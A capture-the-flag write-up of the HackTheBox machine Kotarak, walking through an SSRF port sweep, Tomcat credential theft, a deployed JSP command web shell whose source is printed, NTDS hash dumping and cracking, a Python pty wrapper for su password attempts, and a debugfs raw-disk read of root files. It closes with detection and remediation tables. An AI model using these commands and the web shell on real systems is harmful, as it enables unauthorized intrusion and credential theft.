HTB: Kotarak
A server-side request forgery reaches a loopback file viewer holding a Tomcat credential backup, a deployed WAR gives a shell, a forgotten NTDS dump yields a reused password, and disk group membership reads the root flag out of an LXC guest.
- Published
- Reading time
- 19 min
- Difficulty
- hard
- Target
- Linux (Kotarak)
Overview
Kotarak is a hard-rated Linux machine, Ubuntu 16.04, that presents Tomcat 8.5.5 on 8080 and a small PHP “private browser” on port 60000. The browser fetches any URL for the visitor, and the host keeps five more Apache sites on loopback.
The chain has four boundaries. The fetcher reads a Tomcat credential backup
from a loopback file viewer. The credential deploys a WAR, which gives command
execution as tomcat. That account’s home holds an Active Directory database
dump from somebody’s penetration test; one password cracked from it is reused
by the local user atanas. He is in the disk group, and the root flag sits
in an LXC guest whose filesystem is a directory on the host’s root volume.
Three things to state up front. I did not get a root shell: the last step is a read of root-only files through the block device.
I did not take the route the box advertises, a Wget 1.16 redirect bug against a cron job in the guest. The reason is in the last exploitation phase.
The early steps went quickly, every choice right first time. I had no notes and read no write-up, but this is a 2017 machine with public solutions and I cannot rule out familiarity.
Passwords are written <password> in every command and output below. Hash and
key values are replaced with labels in angle brackets.
Reconnaissance
Two scans run in parallel, a scripted one on the top thousand ports and a full sweep:
nmap -sC -sV -oN /work/scans/01-top1000.nmap 10.129.1.117
nmap -p- --min-rate 2000 -oN /work/scans/02-full.nmap 10.129.1.117
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
[...]
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
[...]
8080/tcp open http Apache Tomcat 8.5.5
[...]
PORT STATE SERVICE
22/tcp open ssh
8009/tcp open ajp13
8080/tcp open http-proxy
60000/tcp open unknown
The full sweep is the one that matters: 60000 is outside the top thousand. I lost ten minutes watching a wordlist run against 8080 before reading it.
On Tomcat I request the usual paths and try five default manager logins
(tomcat:tomcat, admin:admin, tomcat:s3cret, admin:tomcat, and tomcat
with an empty password). The session log for this step records the list and
the status per item, not the command line:
/ -> 404 992
/manager/html -> 401 2473 Basic realm="Tomcat Manager Application"
/host-manager/html -> 401 2044 Basic realm="Tomcat Host Manager Application"
/docs/ -> 404 1002
/examples/ -> 200 1126
/robots.txt -> 404 1012
tomcat:tomcat -> 401
admin:admin -> 401
tomcat:s3cret -> 401
admin:tomcat -> 401
tomcat: -> 401
The manager is reachable from outside and wants a credential I do not have. Port 60000 is Apache 2.4.18 with a page titled “Kotarak Web Hosting” and one form:
nmap -sC -sV -p 60000 10.129.1.117; curl -si http://10.129.1.117:60000/
[...]
<h1>Welcome to Kotarak Web Hosting Private Browser</h1>
[...]
<form method="GET" action="url.php">
<input type="text" value="" name="path">
<input type="submit" value="Submit">
</form>
[...]
Attack Surface Analysis
url.php: server-side request forgery (CWE-918)
I send four values of path: the service’s own
loopback address, a file:// URL, a loopback port that should be closed, and
nothing. As above, the log has the parameters and the responses for this step,
not the command line:
### path=http://127.0.0.1:60000/
<!DOCTYPE html>
<html>
[...]
### path=file:///etc/passwd
try harder
[status 200 bytes 12]
### path=http://127.0.0.1:1/
[status 200 bytes 2]
### path=
[status 200 bytes 2]
Loopback is reachable, file:// is refused by name, and a closed port looks
exactly like an empty request: a 200 with two bytes. That last line is the
useful one. Two bytes means no bytes came back to the fetcher, which is enough
of a signature to sweep with.
Loopback services behind the fetcher
The sweep is one ffuf run over every port, dropping the two-byte answer:
seq 1 65535 | ffuf -s -w - \
-u 'http://10.129.1.117:60000/url.php?path=http://127.0.0.1:FUZZ/' \
-fs 2 -t 40 -o /work/scans/09-ssrf-ports.csv -of csv
90
110
22
200
320
888
3306
8080
60000
The list is a lower bound, not a map. nmap shows 8009 open on this host and the sweep does not list it: an open port that does not answer an HTTP request (AJP here) returns nothing to the fetcher and is filtered with the closed ones. The sweep finds loopback services that speak HTTP or print a banner.
The low ports arrive within the first minute, so I fetch each one as it appears and do not wait for the run to end. The request for the port that turns out to matter:
curl -s -m 20 -w '\n[status %{http_code} bytes %{size_download}]\n' \
"http://10.129.1.117:60000/url.php?path=http://127.0.0.1:888/"
Port 22 returns the SSH banner, 90 an “Under Construction” page, 110 a test
page, 200 <b>Hello world!</b> and 320 a form titled “Super Sensitive Login
Page”. Port 888 is a “Simple File Viewer” listing seven files:
[...]
<td class="tableElement"><a href="?doc=backup" class="tableElement">backup</a></td>
<td class="tableElementInfo"> 2.22 kB</td>
<td class="tableElementInfo"> 18 07 2017 21:42:11</td>
[...]
The other six are blah, tetris.c and four empty files named is, on,
thing and this. I did not fetch 3306 or submit the form on 320; the file
called backup was the better lead and it paid. The viewer takes a file name
in ?doc=, and I did not test it for path traversal.
A credential backup in a web root (CWE-530, CWE-256)
curl -s -G --data-urlencode 'path=http://127.0.0.1:888/?doc=backup' \
http://10.129.1.117:60000/url.php
<?xml version="1.0" encoding="UTF-8"?>
[...]
<tomcat-users xmlns="http://tomcat.apache.org/xml"
[...]
<user username="admin" password="<password>" roles="manager,manager-gui,admin-gui,manager-script"/>
</tomcat-users>
[...]
It is a copy of tomcat-users.xml with one live account, in cleartext, holding
manager-script: the manager’s text interface, which deploys applications.
Vulnerability Analysis
I read url.php once I had a shell, so this is later knowledge, not what I
worked from:
<?php
$location=$_GET['path'];
if( stripos( $location, 'file' ) !==false) {
echo 'try harder';
} else {
$curl = curl_init();
curl_setopt ($curl, CURLOPT_URL, $location);
curl_exec ($curl);
curl_close ($curl);
}
?>
The only check is a substring blocklist (CWE-184): any value containing
file is refused, which also refuses http://example.com/file.html. Nothing
restricts the scheme to HTTP, nothing resolves the host and rejects loopback
or private ranges, and CURLOPT_PROTOCOLS is not set, so libcurl will speak
whatever protocols it was built with. I tested http and file only.
The design error underneath is treating a bind address as an access control.
ports.conf has Listen 127.0.0.1:888 and four similar lines, and the same
Apache instance runs a public page whose job is to make requests from
127.0.0.1. Every loopback listener on the host is therefore public. As a finding the
fetcher alone is CVSS 3.1 8.6 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N); with the
backup file one request away, the practical outcome is code execution.
Exploitation
Phase 1: fetcher to Tomcat manager to a shell as tomcat
I check the credential against the text interface with a wrong password as the control. The password comes out of the saved response into a shell variable and reaches curl through a config on a file descriptor, so on the laptop it is never on a command line. The control discards its body and prints the status only:
P=$(grep -oP 'username="admin" password="\K[^"]+' artifacts/13-ssrf-888-backup.out)
{ echo "### admin:<backup password>"; curl -s -m 20 -K <(printf 'user = "admin:%s"\n' "$P") -w '[status %{http_code}]\n' http://10.129.1.117:8080/manager/text/list; echo "### admin:wrongpass (control)"; curl -s -m 20 -o /dev/null -u admin:wrongpass -w '[status %{http_code}]\n' http://10.129.1.117:8080/manager/text/list; } | tee artifacts/14-manager-list.out
### admin:<backup password>
OK - Listed applications for virtual host localhost
/:running:0:ROOT
/examples:running:0:examples
/host-manager:running:0:host-manager
/manager:running:0:manager
/docs:running:0:docs
[status 200]
### admin:wrongpass (control)
[status 401]
My lab laptop accepts no inbound connections, so there is no reverse shell.
The application is the channel: a WAR holding one JSP that runs its cmd
parameter.
<%@ page import="java.util.*,java.io.*"%>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
java.io.InputStream is = p.getInputStream();
java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");
out.print("<pre>" + (s.hasNext() ? s.next() : "") + "</pre>");
}
%>
cp tools/webshells/cmd.jsp artifacts/war/ && (cd artifacts/war && zip -q ../kx.war cmd.jsp)
curl -s -m 60 -K <(printf 'user = "admin:%s"\n' "$P") -T artifacts/kx.war \
-w '[status %{http_code}]\n' 'http://10.129.1.117:8080/manager/text/deploy?path=/kx'
curl -s -m 40 -G --data-urlencode 'cmd=id; hostname; uname -a; uptime -s; cat /etc/iptables/rules.v4 /etc/ufw/user.rules 2>&1 | head -40; ss -lntp 2>&1; ls -la /home/*/ 2>&1' \
-w '\n[status %{http_code}]\n' http://10.129.1.117:8080/kx/cmd.jsp
OK - Deployed application at context path /kx
[status 200]
<pre>uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
kotarak-dmz
Linux kotarak-dmz 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
[...]
LISTEN 0 128 127.0.0.1:888 *:*
[...]
LISTEN 0 5 10.0.3.1:53 *:*
[...]
/home/atanas/:
[...]
-rw-rw---- 1 atanas atanas 33 Jul 19 2017 user.txt
/home/tomcat/:
total 12
drwxr-xr-x 3 tomcat tomcat 4096 Jul 21 2017 .
drwxr-xr-x 4 root root 4096 Jul 21 2017 ..
drwxr-xr-x 3 tomcat tomcat 4096 Jul 21 2017 to_archive
</pre>
[status 200]
There is a second network on 10.0.3.1, the flag belongs to atanas, and
tomcat has a directory called to_archive.
Phase 2: a penetration tester’s leftovers
The next command lists that directory and copies its files under the deployed
application so they can be downloaded over HTTP. It is saved as a file and
sent with curl -s -G --data-urlencode cmd@artifacts/16-cmd.sh:
find /home/tomcat/to_archive -ls 2>&1; file /home/tomcat/to_archive/*/* 2>&1; D=$(find / -type d -path "*webapps/kx" 2>/dev/null | head -1); echo "webapp dir: $D"; mkdir -p $D/d && cp /home/tomcat/to_archive/*/* $D/d/ 2>&1; ls -la $D/d; sudo -n -l 2>&1 | head -5
My curl gave up at its 60-second limit with no response. I did not send the command again. The target still answered on both ports, and a different command asked what the first had done:
ps -eo pid,etime,args | grep -E "find /|cp /home|sudo|sh -c" | grep -v grep; ls -la /proc/self/cwd; find / -maxdepth 5 -type d -name kx 2>/dev/null; ls -la $(find / -maxdepth 5 -type d -name kx 2>/dev/null | head -1)/d 2>&1; find /home/tomcat/to_archive -ls 2>&1
The copy had completed and nothing was left running. Why the first command
outlived the limit I did not establish; its last term is sudo -n -l, and a
slow sudo is my untested guess. The listing from the second command:
[...]
3930 11904 -rw-r--r-- 1 tomcat tomcat 12189696 Jul 21 2017 /home/tomcat/to_archive/pentest_data/20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin
3929 16400 -rw-r--r-- 1 tomcat tomcat 16793600 Jul 21 2017 /home/tomcat/to_archive/pentest_data/20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit
[...]
The names say an NTDS grab over psexec against 192.168.110.133. I pull
both, one after the other:
curl -s -m 500 -o loot/ntds.dit -w 'dit [status %{http_code} bytes %{size_download} %{time_total}s]\n' http://10.129.1.117:8080/kx/d/20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit
curl -s -m 500 -o loot/system.bin -w 'bin [status %{http_code} bytes %{size_download} %{time_total}s]\n' http://10.129.1.117:8080/kx/d/20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin
ls -l loot; file loot/*; sha256sum loot/*
[...]
loot/ntds.dit: Extensible storage engine DataBase, version 0x620, checksum 0x16d44752, page size 8192, DirtyShutdown, Windows version 6.1
loot/system.bin: MS Windows registry file, NT/2000 or above
[...]
A domain database and the SYSTEM hive that holds its boot key.
impacket-secretsdump -ntds /work/loot/ntds.dit -system /work/loot/system.bin LOCAL -outputfile /work/loot/dump
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: <boot key>
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: <pek>
[*] Reading and decrypting hashes from /work/loot/ntds.dit
Administrator:500:<lm>:<nt>:::
Guest:501:<lm>:<nt>:::
WIN-3G2B0H151AC$:1000:<lm>:<nt>:::
krbtgt:502:<lm>:<nt>:::
WIN2K8$:1103:<lm>:<nt>:::
WINXP1$:1104:<lm>:<nt>:::
WIN2K31$:1105:<lm>:<nt>:::
WIN7$:1106:<lm>:<nt>:::
atanas:1108:<lm>:<nt>:::
[*] Kerberos keys from /work/loot/ntds.dit
[...]
[*] Cleaning up...
There is a domain account named atanas, the same name as the local user.
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt --pot=/work/loot/john.pot /work/loot/dump.ntds
Loaded 9 password hashes with no different salts (NT [MD4 512/512 AVX-512 16x3])
[...]
(Guest)
<password> (Administrator)
[...]
2 password hashes cracked, 7 left
(Terminal colour codes are removed from that block.) The atanas hash does
not fall to rockyou. The domain Administrator’s does,
a ten-character password, and Guest is empty.
Phase 3: password reuse to atanas
I try the cracked password over SSH for atanas and root, with a wrong
password as the control, from a script run in the tools container:
H=$(awk -F: '$1=="Administrator"{print $4}' /work/loot/dump.ntds)
export SSHPASS=$(grep -F "$H" /work/loot/john.pot | cut -d: -f2-)
for u in atanas root; do
echo "### $u with the cracked Administrator password"
sshpass -e ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password -o ConnectTimeout=15 $u@10.129.1.117 'id; hostname' 2>&1 | grep -v Warning
done
echo "### atanas with a wrong password (control)"
SSHPASS=wrongpass sshpass -e ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password -o ConnectTimeout=15 atanas@10.129.1.117 id 2>&1 | grep -v Warning
All three get Permission denied. A read of sshd_config in the next step
explains two of them:
PermitRootLogin yes
ChallengeResponseAuthentication no
PasswordAuthentication yes
AllowUsers root
atanas cannot log in over SSH whatever he types, so his refusal says nothing
about the password. Root’s refusal is a real result: password logins for root
are allowed, and the cracked password is not root’s.
That leaves su on the box, which wants a terminal the JSP does not have. A
small wrapper forks a pseudo-terminal, runs su, and types the password two
seconds later. It tries three candidates: the cracked password, the Tomcat
manager password, and a control. I assumed python3 on Ubuntu 16.04 without
checking for it first; the run confirmed it.
import os, pty, time, select
def tryp(user, pw, cmd):
pid, fd = pty.fork()
if pid == 0:
os.execv('/bin/su', ['su', user, '-c', cmd])
time.sleep(2)
os.write(fd, (pw + '\n').encode())
out = b''
while True:
try:
r, _, _ = select.select([fd], [], [], 10)
if not r:
break
d = os.read(fd, 4096)
if not d:
break
out += d
except OSError:
break
os.waitpid(pid, 0)
return out.decode('latin1')
CMD = 'id; cat /home/atanas/user.txt; sudo -n -l 2>&1; cat /home/atanas/.bash_history; ls -la /root 2>&1'
for label, pw in (('cracked Administrator password', '@@A@@'), ('tomcat manager password', '@@B@@'), ('wrongpass control', 'wrongpass')):
print('### su atanas with the ' + label)
print(tryp('atanas', pw, CMD))
The two placeholders are filled on the laptop from the cracked-password file
and the saved backup, and the result is compiled locally before it is sent
(one && chain when it ran, split here for reading):
A=$(grep -F "$(awk -F: '$1=="Administrator"{print $4}' loot/dump.ntds)" loot/john.pot | cut -d: -f2-)
B=$(grep -oP 'username="admin" password="\K[^"]+' artifacts/13-ssrf-888-backup.out)
echo "A len ${#A} B len ${#B}" && [ ${#A} -eq 10 ]
A="$A" B="$B" python3 -I -c 'import os,sys;s=open("artifacts/23-su.tmpl.py").read().replace("@@A@@",os.environ["A"]).replace("@@B@@",os.environ["B"]);open("artifacts/24-su.py","w").write(s)'
python3 -I -m py_compile artifacts/24-su.py
It travels base64-encoded as the cmd parameter of one request to the JSP.
This is the second run’s form; the first wrote 23-su.py, had no length
check, and ended with the grep of sshd_config quoted above:
echo <base64 of the filled script> | base64 -d > /dev/shm/s.py; python3 /dev/shm/s.py 2>&1; rm -f /dev/shm/s.py
On the target, then, the password is in a GET query string and in the
argument of sh -c, visible to the access log and the process list.
The first run was void. The container had written the cracked-password file
as root with mode 0600, my grep failed, and an empty string went up as the
first candidate. After a chmod 644 and the length check, the second run:
<pre>### su atanas with the cracked Administrator password
Password:
uid=1000(atanas) gid=1000(atanas) groups=1000(atanas),4(adm),6(disk),24(cdrom),30(dip),34(backup),46(plugdev),115(lpadmin),116(sambashare)
<flag>
### su atanas with the tomcat manager password
Password:
su: Authentication failure
### su atanas with the wrongpass control
Password:
su: Authentication failure
</pre>
[status 200 exit 0 ]
The domain Administrator’s password is the local password of atanas. User
flag, 23 minutes after the spawn.
The rest of that command line (sudo -n -l, the history, the listing of
/root) printed nothing. The wrapper stops reading after ten seconds of
silence, so a sudo that stalls would cut the output exactly there. Untested.
Phase 4: the disk group and the LXC guest
The id line already holds the answer: group 6, disk. I rebuild the wrapper
for one candidate and a longer script, carried as base64 in the su -c
argument:
import os, pty, time, select, base64
pid, fd = pty.fork()
if pid == 0:
os.execv('/bin/su', ['su', 'atanas', '-c', base64.b64decode('@@CMD@@').decode()])
time.sleep(2)
os.write(fd, b'@@A@@\n')
out = b''
while True:
try:
r, _, _ = select.select([fd], [], [], 30)
if not r:
break
d = os.read(fd, 4096)
if not d:
break
out += d
except OSError:
break
os.waitpid(pid, 0)
print(out.decode('latin1'))
The first script it carries is enumeration:
exec 2>&1
echo "== id"; id
echo "== /root"; ls -la /root
echo "== /root readable files"; for f in /root/*; do echo "-- $f"; head -c 3000 "$f"; echo; done
echo "== history"; cat /home/atanas/.bash_history
echo "== block devices"; lsblk; df -h /; ls -la /dev/mapper /dev/sd* /dev/dm-*
echo "== debugfs"; which debugfs
echo "== lxc"; ls -la /var/lib/lxc 2>&1; ip -br addr
echo "== sudo"; sudo -n -l </dev/null
[...]
== /root
total 48
drwxrwxrwx 6 root root 4096 Sep 19 2017 .
[...]
-rw------- 1 atanas root 333 Jul 20 2017 app.log
[...]
-rw------- 1 atanas root 66 Aug 29 2017 flag.txt
[...]
-- /root/app.log
10.0.3.133 - - [20/Jul/2017:22:48:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
[...]
-- /root/flag.txt
Getting closer! But what you are looking for can't be found here.
== history
history
exit
groups
debugfs /dev/sda1
== block devices
[...]
├─Kotarak--vg-root 252:0 0 7G 0 lvm /
[...]
brw-rw---- 1 root disk 252, 0 Nov 23 23:13 /dev/dm-0
[...]
== debugfs
/sbin/debugfs
== lxc
ls: cannot open directory '/var/lib/lxc': Permission denied
[...]
lxcbr0 UP 10.0.3.1/24 fe80::216:3eff:fe00:0/64
[...]
== sudo
</pre>
[...]
Nothing follows == sudo within 30 seconds: the suspected stall again.
/root is world-writable and holds a note saying the flag is elsewhere, plus
a web log in which 10.0.3.133 asks the host for /archive.tar.gz every two
minutes with Wget 1.16. That is the advertised route. Versions of Wget before
1.18 let a server redirect an HTTP download to an FTP URL and choose the local
file name (CVE-2016-4971), so a listener on the host’s port 80 could plant a
.wgetrc in the guest and work up from there. I only have the User-Agent
string as evidence of the guest’s version.
I did not take it: it needs a privileged port, writes into another system, and waits on a two-minute cron.
The other route is in the same output: atanas has left debugfs /dev/sda1
in his history, he is in disk, and the root volume /dev/dm-0 is readable
by that group. Reading a block device bypasses every file permission on the
filesystem inside it, and debugfs -R writes nothing. The second script:
exec 2>&1
D=/dev/dm-0
dbg() { echo "== debugfs -R '$1' $D"; /sbin/debugfs -R "$1" $D 2>&1 | grep -v '^debugfs 1\.'; echo; }
dbg 'ls -l /var/lib/lxc'
for n in $(/sbin/debugfs -R 'ls -p /var/lib/lxc' $D 2>/dev/null | awk -F/ '$6!="." && $6!=".." && $6!=""{print $6}'); do
dbg "ls -l /var/lib/lxc/$n"
dbg "cat /var/lib/lxc/$n/config"
dbg "ls -l /var/lib/lxc/$n/rootfs/root"
dbg "cat /var/lib/lxc/$n/rootfs/root/root.txt"
dbg "cat /var/lib/lxc/$n/rootfs/var/spool/cron/crontabs/root"
dbg "cat /var/lib/lxc/$n/rootfs/etc/crontab"
done
dbg 'cat /root/.bash_history'
dbg 'cat /etc/ufw/user.rules'
dbg 'cat /etc/group'
<pre>Password:
== debugfs -R 'ls -l /var/lib/lxc' /dev/dm-0
32094 40700 (2) 0 0 4096 21-Jul-2017 13:13 .
19385 40755 (2) 0 0 4096 21-Jul-2017 13:13 ..
20051 40770 (2) 0 0 4096 21-Jul-2017 13:13 kotarak-int
[...]
lxc.rootfs = /var/lib/lxc/kotarak-int/rootfs
lxc.rootfs.backend = dir
[...]
== debugfs -R 'ls -l /var/lib/lxc/kotarak-int/rootfs/root' /dev/dm-0
[...]
72422 100644 (1) 0 0 33 19-Jul-2017 21:40 root.txt
== debugfs -R 'cat /var/lib/lxc/kotarak-int/rootfs/root/root.txt' /dev/dm-0
<flag>
== debugfs -R 'cat /var/lib/lxc/kotarak-int/rootfs/var/spool/cron/crontabs/root' /dev/dm-0
[...]
*/2 * * * * /usr/bin/wget -N http://10.0.3.1/archive.tar.gz > /dev/null 2>&1
*/4 * * * * /bin/rm /root/.wgetrc
[...]
ls on /var/lib/lxc was refused a moment earlier; through the device it
lists. The guest’s root filesystem is a
plain directory (lxc.rootfs.backend = dir) on the same volume, so its
root.txt is one more path. Root flag, 24 minutes after the spawn. The
crontab confirms the Wget job.
Post-Exploitation
The same read shows how the host was left. The root history on the host
contains gpasswd -d atanas lxd: someone removed him from one
root-equivalent group and left him in another. /etc/group confirms
disk:x:6:atanas.
/root at mode 0777 is more than a curiosity. Any local user, tomcat
included, can delete and recreate files in it, root’s shell start-up files
among them. I did not test that.
The device read reaches everything on the volume, /etc/shadow and the
host’s SSH keys included. I read neither, and did not use the write mode of
debugfs: writing to a mounted filesystem through its device risks
corrupting it.
Before stopping I removed the deployed application through
manager/text/undeploy?path=/kx, which also removed the copies of the two
dump files, and confirmed with manager/text/list that /kx was gone. Each
run ended with rm -f on its script in /dev/shm; I infer that directory is
clean from the commands and took no listing.
Defensive Analysis
None of these detections was tried on the box. Each names where I would look.
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Loopback discovery | T1046 | Apache access log on 60000: url.php?path=http://127.0.0.1 with a rising port |
| Credential in a file | T1552.001 | Access log of the 888 site: any request for ?doc=backup, source 127.0.0.1 |
| Web shell deployed | T1505.003 | Any /manager/text/ request, whatever its source; a new directory under webapps/ |
| Web shell in use | T1059.004 | Any GET with a cmd= parameter to a JSP outside the shipped applications |
| Dump theft, cracking | T1003.003 | Offline, invisible; the control is not storing the files |
| SSH guessing | T1110.001 | auth.log: sshd refusing atanas under AllowUsers, and a failed root password |
| Reused password | T1078.003 | auth.log: su to atanas from uid 1001, preceded by failures |
| Raw device read | T1006 | An audit watch on opens of /dev/dm-0 and /dev/sda* by non-root users |
The port sweep is the loudest step: 65,535 requests to one script in about
eight minutes. The vhosts I read log to access.log in combined format. I did
not read Tomcat’s logging configuration, so the Tomcat rows assume its access
log valve is on.
The service account running su is the cleanest signal. This session made eight su runs in four bursts over
about three minutes, five failures and three successes, after three refused
SSH logins. The device read is the hardest to see without auditd, which I
did not check for.
Remediation
These were not applied on the box. The check for each is to repeat the request that worked.
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Remove the 888 file viewer and its backup; change the Tomcat admin password |
Low | Critical |
| P0 | Delete to_archive/pentest_data; change every password in that domain |
Medium | Critical |
| P0 | gpasswd -d atanas disk |
Low | Critical |
| P1 | url.php: allowlist http/https, resolve the host, refuse loopback and private ranges |
Medium | High |
| P1 | RemoteAddrValve on /manager that excludes loopback as well as outside addresses |
Low | High |
| P1 | Give atanas a password unrelated to any other system |
Low | High |
| P2 | Store Tomcat passwords digested through a CredentialHandler |
Low | Medium |
| P2 | chmod 700 /root |
Low | Medium |
For the fetcher, the fix has to be made on the resolved address, not on the
string: a hostname that resolves to 127.0.0.1 passes any text filter. The
checked address is then pinned for the request with CURLOPT_RESOLVE, or
libcurl resolves a second time and may get a different answer.
Setting CURLOPT_PROTOCOLS and CURLOPT_REDIR_PROTOCOLS to HTTP and HTTPS
closes the other schemes, and each redirect hop needs the same check and pin.
The manager valve has the same problem while the fetcher stands. The sweep
shows 8080 answering through it, and libcurl accepts credentials in a URL, so
url.php?path=http://admin:<password>@127.0.0.1:8080/manager/text/list
should reach the manager from loopback. I did not run that request. It is the
test for the valve: it must be refused.
Removing atanas from disk closes the route I used and may leave the Wget
route open; I did not test whether he can bind port 80. That one needs the
guest’s Wget at 1.18 or later.
Key Takeaways
-
A loopback bind is not an access control. Five sites on this host were private only until something public made requests on a visitor’s behalf.
-
Send a closed port as a control, and know what the answer means. The two-byte reply meant “nothing came back”, not “closed”: the sweep missed AJP on 8009, which nmap had already shown open.
-
Engagement data is a credential store. A client’s NTDS dump sat in a service account’s home on a DMZ host, and its Administrator password was a local user’s password here. Test data is destroyed at close.
-
diskis root for reading. The administrator removed this user fromlxdand left him able to read the volume the containers live on.